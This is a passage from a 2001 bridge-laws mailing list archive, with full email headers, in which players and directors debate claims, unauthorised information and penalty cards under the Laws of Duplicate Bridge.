treated as a >claim", where and when has this rule been publicized? Law 68 A/B is really quite clear. Claims and concessions are defined in a way that my children could understand and I really don't think that the term "any statement" needs "and that includes casual remarks" added to it. ..snip.. >This means we have the unacceptable situation I described >above, where BL's can take advantage of unsuspecting players who never >dreamed they were doing anything wrong. But, presumably, only once and I cannot see why it is unacceptable. Perhaps the next time they will have spent some time reading the laws of the game they are playing. ..snip.. >Occasionally there are higher principles >that should take precedence over following the Law literally. But not >very often. (And certainly not nearly as often as some American >judges think, but that's a subject for a whole other mailing list.) > And that is a completely different subject. I may disagree vehemently with some of the laws as they are written and while I may campaign for a change I could never try and say "because I think that is unjust it should not apply to me or him" (I am talking about the laws of Bridge here, I have come to realise that comparing the laws of bridge with the laws of the land is rarely productive and usually gets one laughed at). Of all the threads on the list, this has to be one of the silliest. Was it a claim? Yes of course it was, the Laws say so. Would you, at the table, call a director after that kind of remark? Probably not but I might (and I certainly would now if Probst was directing or declarer). Would it be a claim if the declarer had said "You should have cue'd your AD pard, it looks like we might make 12 here"? I think not but at least it's a question that requires some thought. As for Bridge Lawyers, why is studying the laws of the game for a few hours to gain advantage over those who do not so much worse than studying tables of card combinations to the same end? -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 20:53:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N9qdS03504 for bridge-laws-outgoing; Tue, 23 Jan 2001 20:52:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N9qRt03444 for ; Tue, 23 Jan 2001 20:52:28 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0N9qDp17910 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 09:52:13 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 23 Jan 2001 09:52 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Let's get back to the easy stuff To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: DWS wrote: > >I don't see how - I agree with Jacs; what's in your hand is AI to > >you. > > Of course what is in my hand is - but is the fact that I have bid > 1S AI? Well your hand is AI. The fact that you would bid 1S on such a hand as opener is AI. The fact you thought you were opener is AI. The fact that you opened out of turn is AI. So the information arising from the actual 1S bid might be UI but it has no real content and no suggestive value. However, all this seems a bit "twisty". I am sorry David felt my previous reply didn't take us forward. I was trying to express a concern with some fairly radical changes introduced in the 97 laws in plenty of time for reconsideration before 2007. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 20:53:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N9qca03500 for bridge-laws-outgoing; Tue, 23 Jan 2001 20:52:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N9qRt03445 for ; Tue, 23 Jan 2001 20:52:28 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0N9qG917970 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 09:52:16 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 23 Jan 2001 09:52 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] penalties AND UI - too much ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <9WlVXcA+Ala6EwXP@blakjak.demon.co.uk> DWS wrote: > >Some of the debates on here do seem to me to get a little > >esoteric at times, and possibly this is one of them. However, I > >think that the Laws of bridge should at least attempt to keep a > >grasp, however tenuous, on simple logic. If I know partner has to > >play the DA at his first opportunity, it seems to me to be a > >total nonsense that I cannot know that partner holds the DA. > >Trying to apply this would meet with howls of laughter from (I > >suspect) a significant number of players, and quite rightly so, > >IMHO. > > The trouble with the simple logic approach to this problem is that > while your approach is what several people think is reasonable, the > Law was changed in a way as to make all information about the DA > [except the fact that it has to be played when diamonds are first > led] UI. IIRC this is not the law. The AI is that the diamond ace must be played *at the first [legal] opportunity*. It is, IMO, completely illogical to make a lead which might enable declarer to force a discard of the DA on some other suit. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 21:20:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NAJfm13015 for bridge-laws-outgoing; Tue, 23 Jan 2001 21:19:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0NAJYt12981 for ; Tue, 23 Jan 2001 21:19:35 +1100 (EST) Received: (qmail 62645 invoked for bounce); 23 Jan 2001 10:19:30 -0000 Received: from dialin-194-29-59-247.frankfurt.gigabell.net (HELO rabbit) (194.29.59.247) by smtp.myokay.net with SMTP; 23 Jan 2001 10:19:30 -0000 Message-ID: <02b101c08526$587fdd00$6b3b1dc2@rabbit> From: "Thomas Dehn" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 11:14:01 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "David Burn" wrote: > DWS wrote: > > > I know that certain people do not give a damn about the game itself, > > but for those of you that do, let me make one more effort. > > You do not know anything of the sort. As usual, you are taking it upon > yourself to be the arbiter of which Laws should be followed to the > letter and which Laws should be "interpreted" for the "good of the > game". Fortunately, you are not actually in a position to do this, > despite various posturings to the contrary. You are, at times, proud of > having coined (or rather, adopted from IT jargon), the acronym "RTFLB". > Yet in this thread, you have argued in the face of mounting opposition > (and in the face of the only possible interpretation of a remarkably > simple English sentence) that anyone who reads the Law book and believes > what it says is in some way an inferior being who does not care about > the game of duplicate bridge. This imputation is, as Grattan has said, > entirely repellent; what is more, it is without foundation in reality. > If I were the sort of person who is offended by anything much, I would > be deeply offended by it. It seems you need a vacation, David. Calm down, relax. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 22:22:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NBLwg00856 for bridge-laws-outgoing; Tue, 23 Jan 2001 22:21:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hera.frw.uva.nl (HERA.frw.uva.nl [145.18.122.36]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NBLlt00852 for ; Tue, 23 Jan 2001 22:21:48 +1100 (EST) Received: from jppals (DHCP-ivip-124.frw.uva.nl [145.18.125.124]) by hera.frw.uva.nl (8.9.1a/8.9.1) with SMTP id MAA11514 for ; Tue, 23 Jan 2001 12:21:39 +0100 (MET) From: "J.P.Pals" To: Subject: [BLML] wake up allowed? Date: Tue, 23 Jan 2001 12:20:18 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I believe there was a similar thread some time ago, but I'm still confused and interested in expert opinions, so here goes: non vul vs vul, you hold: Q754 82 7 KQT942 RHO opens 2h, alerted and explained as 'Muiderberg: below opening values, 5+ hearts, 4+ in a minor'. You bid 3cl, and partner surprises you by alerting this: Rubensohl, forces 3d. Oops…. Now you see that she has opened the bidding with 1NT. (Muiderberg openings and overcalls in a major over 1NT are made on similar hands). The auction continues, pass, 3d, pass. What now? What is the 'ethical' action here? Of course you woke up by pard's alert, but are you allowed to wake up yourself? If so, when? Thanks for comments JP (Jan Peter Pals) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 00:20:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NDJPl26068 for bridge-laws-outgoing; Wed, 24 Jan 2001 00:19:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NDJGt26064 for ; Wed, 24 Jan 2001 00:19:17 +1100 (EST) Received: from kay (ashsv1-46.cswnet.com [209.136.193.46]) by mail.cswnet.com (Postfix) with SMTP id D5F745D06D; Tue, 23 Jan 2001 07:19:11 -0600 (CST) Message-ID: <002201c0853f$6c3aca80$2ec188d1@kay> From: "Nelson/Kay Ford" To: "Richard Bley" , Cc: References: <200101230259.SAA25487@mailhub.irvine.com> <5.0.2.1.0.20010123064525.00a2b610@mail.rz.uni-duesseldorf.de> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 07:21:39 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Richard Bley" To: Cc: Sent: Monday, January 22, 2001 11:51 PM Subject: Re: [BLML] Claim? > >Well, let's see. Declarer at 4S, Vul, says: "We're cold > >for 6, partner." > > > >East, a dirty rotten BL, says: "That's a claim, what's > >your line of play?" > > The tricky point here is, that the player has to state his line of play > during the claim ("accompanied"). TO ask how to play would be fine, but > what folllows is not part of the claim anymore. If I were Declarer in this scenario, I would argue that I would have given a line of play, but East jumped in before I got the chance (which would not be the first time that had happened to me). > >Now one of two things happens: > >1. Declarer is cold for 6 and states how he will take > >them, > > and scores the slam. > >OR > >2. Declarer was blowing smoke and can't make 6, but is > > able to state a line of play where he makes 5 with > > normal play, and racks up 650. > > > >Just how to you see that the evil BL has damaged the > >poor, innocent Declarer? > > He is damged than by the fact, that he gets AT MOST 650. Yes, I think you have a point there. Given that, as you said earlier, this is a nuance of the Laws with which few players would be familiar, it is possible that a BL could profit by an overtrick against a declarer who thought he was just making an innocent observation. This is not to say that the Law should not be enforced or that Declarer doesn't *deserve* to suffer for speaking out when he should have kept his mouth shut, but I believe you are correct that this would be a victory for the BLs. > Take alone 70C > (trumps not drawn). In fact I don´t want to take the mess here, ih I think > about it... > Or is in this case 70C not available? Maybe anyone who claims in the first > trick is aware, that there are trumps outside? > > Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 01:42:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NEemg26103 for bridge-laws-outgoing; Wed, 24 Jan 2001 01:40:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NEegt26099 for ; Wed, 24 Jan 2001 01:40:42 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0NEeYZ11552 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 14:40:34 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 23 Jan 2001 14:40 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Claim? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <5.0.2.1.0.20010123064525.00a2b610@mail.rz.uni-duesseldorf.de> Richard Bley wrote: > >Well, let's see. Declarer at 4S, Vul, says: "We're cold > >for 6, partner." > > > >East, a dirty rotten BL, says: "That's a claim, what's > >your line of play?" Firstly this is not a claim. Being "cold for 6" does not exclude the possibility of making 13 tricks (unless the first trick was lost). It is therefore not a statement relating to a *specific* number of tricks. Nor are statements like "we should be in 6", or "We may have missed the grand". If such statements mislead opponents we can adjust under L72whatever. But if the statement is "We are making twelve tricks/exactly 6" then it is specific, and therefore a claim. > The tricky point here is, that the player has to state his line of play > during the claim ("accompanied"). TO ask hot to play would be fine, but > what folllows is not part of the claim anymore. Why not. It is obvious to me that events (interruption from BLO/call for TD) precluded an immediate claim statement from declarer. One can therefore allow declarer to make/complete his accompanying claim statement once the situation is back under control. The claim can then be adjudicated normally. > >Now one of two things happens: > >1. Declarer is cold for 6 and states how he will take > >them, and scores the slam. > >OR > >2. Declarer was blowing smoke and can't make 6, but is > > able to state a line of play where he makes 5 with > >normal play, and racks up 650. > > > >Just how to you see that the evil BL has damaged the > >poor, innocent Declarer? On very rare occasions the declarer will articulate his claim poorly and receive a worse score than he would likely have done if playing the hand out. To be honest that doesn't worry me unduly. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 02:39:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NFd4126136 for bridge-laws-outgoing; Wed, 24 Jan 2001 02:39:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe19.law8.hotmail.com [216.33.240.123]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NFcut26132 for ; Wed, 24 Jan 2001 02:38:57 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 23 Jan 2001 07:38:48 -0800 X-Originating-IP: [63.27.243.136] From: "Roger Pewick" To: "blml" References: <009301c084f7$0131bfc0$9a9c1e18@san.rr.com> Subject: Re: [BLML] penalties AND UI - too much ? Date: Tue, 23 Jan 2001 09:26:06 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 23 Jan 2001 15:38:48.0867 (UTC) FILETIME=[94533F30:01C08552] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: Marvin L. French To: Sent: Monday, January 22, 2001 10:42 PM Subject: Re: [BLML] penalties AND UI - too much ? | | | > Steve Willner wrote: | > | > (Snip) | > >I confess that not only can I not reconcile this interpretation | with | > >the words of the law, I am not sure what it means. It seems to | be | > >saying that the sight of the penalty card is UI for choosing the | suit | > >to lead but AI for choosing the card within the suit. I am | mystified | > >because the choice of card and choice of suit are seldom | independent | > >and sequential, as this interpretation seems to suggest. | > | I guess I'm missing the point of all this. Doesn't it just stay that | if there is an LA to leading the suit, you don't lead the suit, and | if there is no LA can lead any card of the suit? | | Probably the lawmakers didn't want to make a TD delve into the | subtleties of deciding whether the size of the card led was | demonstrably suggested by the tabled card. | | Seems reasonable, what am I missing? | | Marv | San Diego, CA, USA There are a lot of undercurrents in this topic. What seems right to me is that the identity of the card is UI until it is played legally. I think the better view when the penalty option is deferred is that the player do his best to not be influenced by the PC. L16 as written is incompatible with such a view. But it is not too bad so long as the adjusted score is weighted so that any benefit of the doubt allowance is as close to zero [as practical]. Roger Pewick -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 02:52:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NFpjO26161 for bridge-laws-outgoing; Wed, 24 Jan 2001 02:51:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NFpbt26153 for ; Wed, 24 Jan 2001 02:51:37 +1100 (EST) Received: from village.uunet.be (uu212-190-9-168.unknown.uunet.be [212.190.9.168]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NFpVT20336 for ; Tue, 23 Jan 2001 16:51:31 +0100 (MET) Message-ID: <3A6C507E.3120E9F2@village.uunet.be> Date: Mon, 22 Jan 2001 16:23:42 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <3.0.6.32.20010122140130.00824890@pop.ulb.ac.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner wrote: > > > Now, what does one respond to the angry declarer ? That the UI principle is > made for covering cases that aren't covered by other, more constraining > laws such as L50. So that L16 would not apply in addition to L50. > Then why does L50 include a statement about UI ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 02:52:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NFphv26160 for bridge-laws-outgoing; Wed, 24 Jan 2001 02:51:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NFpYt26151 for ; Wed, 24 Jan 2001 02:51:35 +1100 (EST) Received: from village.uunet.be (uu212-190-9-168.unknown.uunet.be [212.190.9.168]) by bru5-smtp-out1.uunet.be (8.11.2/8.11.2) with ESMTP id f0NFpRT20306 for ; Tue, 23 Jan 2001 16:51:29 +0100 (MET) Message-ID: <3A6C4E5E.8274A409@village.uunet.be> Date: Mon, 22 Jan 2001 16:14:38 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Let's get back to the easy stuff References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > > > >I don't see how - I agree with Jacs; what's in your hand is AI to you. > > Of course what is in my hand is - but is the fact that I have bid 1S > AI? > We've been there before. IMHO. The bid you have made is AI, but the fact that you have made it is UI. So if you intended to bid 1He, and you've put down 1Sp, your bid of 1Sp is UI. This can become AI again when something happens at the table (that is in itself AI, such as a bid by partner or opponent that is incomprehensible) that makes you ask for a review of the auction. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 03:53:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NGqNr07993 for bridge-laws-outgoing; Wed, 24 Jan 2001 03:52:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NGq0t07869 for ; Wed, 24 Jan 2001 03:52:05 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14L6fi-0000vZ-0U for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:51:56 +0000 Message-ID: Date: Mon, 22 Jan 2001 16:50:21 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> <200101211728.MAA01229@calum.csclub.uwaterloo.ca> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Hash: SHA1 > >>Under 1987 Laws, yes. Under 1997 Laws, you need to show that there are >>no logical alternatives to the diamond switch (knowledge of partner >>having the DA making the diamond switch much more likely to succeed). >>I think this gives declarer much too much of an advantage, but it's the >>way the Law reads. As I said, I thought this particular change was >>silly three years ago. >> >>I've heard the following: "I'm allowed to know that partner has to play >>the DA on the first diamond trick, but I'm not allowed to know that >>partner has the DA? How do I do that?" My reply? "I don't know >>either. But them's the Laws." > >I am flabbergasted. My immediate reaction is "the law is an ass." It >makes absolutely no sense to me. > >It seems the consensus here is that if my partner makes an opening >lead out of turn (isn't that what started all this?) of the Diamond >Ace, that card becomes (or may become) a major penalty, which means >it will lie face up on the table until either (a) declarer makes an >election which allows it to be picked up, or (b) a diamond is led, in >which case partner must play the ace, or (c) partner wins a trick >with another card, in which case he must lead the ace of diamonds >(subject to declarer's possible choice of options). Now the opening >lead reverts to me. Declarer is told his options: he may forbid or >require the lead of a diamond (ace is picked up) or he may say to me >"lead what you want." You are all telling me that I can't lead a >diamond, in spite of declarer's election, *because I have the UI that >partner has the ace of diamonds*? That is absolutely ridiculous. I >refuse to believe it. OK, you refuse to believe it. that's fine with me. But do you accept that the wording exists in L50D1? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 03:53:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NGqUN08020 for bridge-laws-outgoing; Wed, 24 Jan 2001 03:52:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NGqBt07944 for ; Wed, 24 Jan 2001 03:52:12 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14L6fr-0000vX-0U for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:52:09 +0000 Message-ID: Date: Mon, 22 Jan 2001 17:03:03 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> <$jnOJuAoLda6Ew0a@blakjak.demon.co.uk> <4.3.2.7.1.20010122081352.00ab4e80@127.0.0.1> In-Reply-To: <4.3.2.7.1.20010122081352.00ab4e80@127.0.0.1> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric Landau writes >At 01:03 PM 1/20/01, David wrote: > >> If you commit an infraction which silences partner, and you could not >>have seen an advantage at the time of the infraction, then it is legal >>thereafter to take an action that gives you an advantage - L72A5. > >Of course. But when you bar partner, thus placing yourself in a >position where you alone determine the actions taken by the >partnership, and bid yourself to a contract in which your expected >result is better than what you would likely have achieved had you not >barred partner, it becomes nearly impossible to refute the position >that you "could have known" that barring partner would work to your >advantage, notwithstanding the fact that it never occured to you. Not so. When you open out of turn on a 16 HCP hand it is not credible that you expect this to work to your advantage, so L72B1 does not apply. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 03:53:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NGqJq07975 for bridge-laws-outgoing; Wed, 24 Jan 2001 03:52:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NGq0t07870 for ; Wed, 24 Jan 2001 03:52:02 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14L6fi-0000va-0U for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 16:51:57 +0000 Message-ID: Date: Mon, 22 Jan 2001 16:53:56 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: <3A670674.673519AE@village.uunet.be> <3.0.6.32.20010122140130.00824890@pop.ulb.ac.be> In-Reply-To: <3.0.6.32.20010122140130.00824890@pop.ulb.ac.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner writes >At 16:06 18/01/01 +0100, Herman De Wael wrote: >>Partner leads out of turn, the ace of diamonds. >>Declarer allows you to play what you want. >>>From AKJx of hearts, you lead the ace, to see the table. >>The queen of hearts is not there. >>Again declarer allows you to play what you want. >>If you now play diamonds, your partner is in to bring you >>the hearts. >>But, says declarer later, the Ace is UI, and you could also >>have switched clubs as a LA, so please give me my contract >>back. >>Comments ? > >AG : easy case as far as I'm concerned. > >1) L16 doesn't cover this case - it is simply *not* a case of UI as >defined. Since L16B specifies seeing a card *before the auction begins*, it >is clear that the lawmaker intended to have the case 'card seen during >bidding or play' covered by other laws. Correct - it is not a L16 case. >2) Laws 50 and 54 are among those. They say clearly what happens after >LOOT. Declarer exercised his option. What most forget is that after 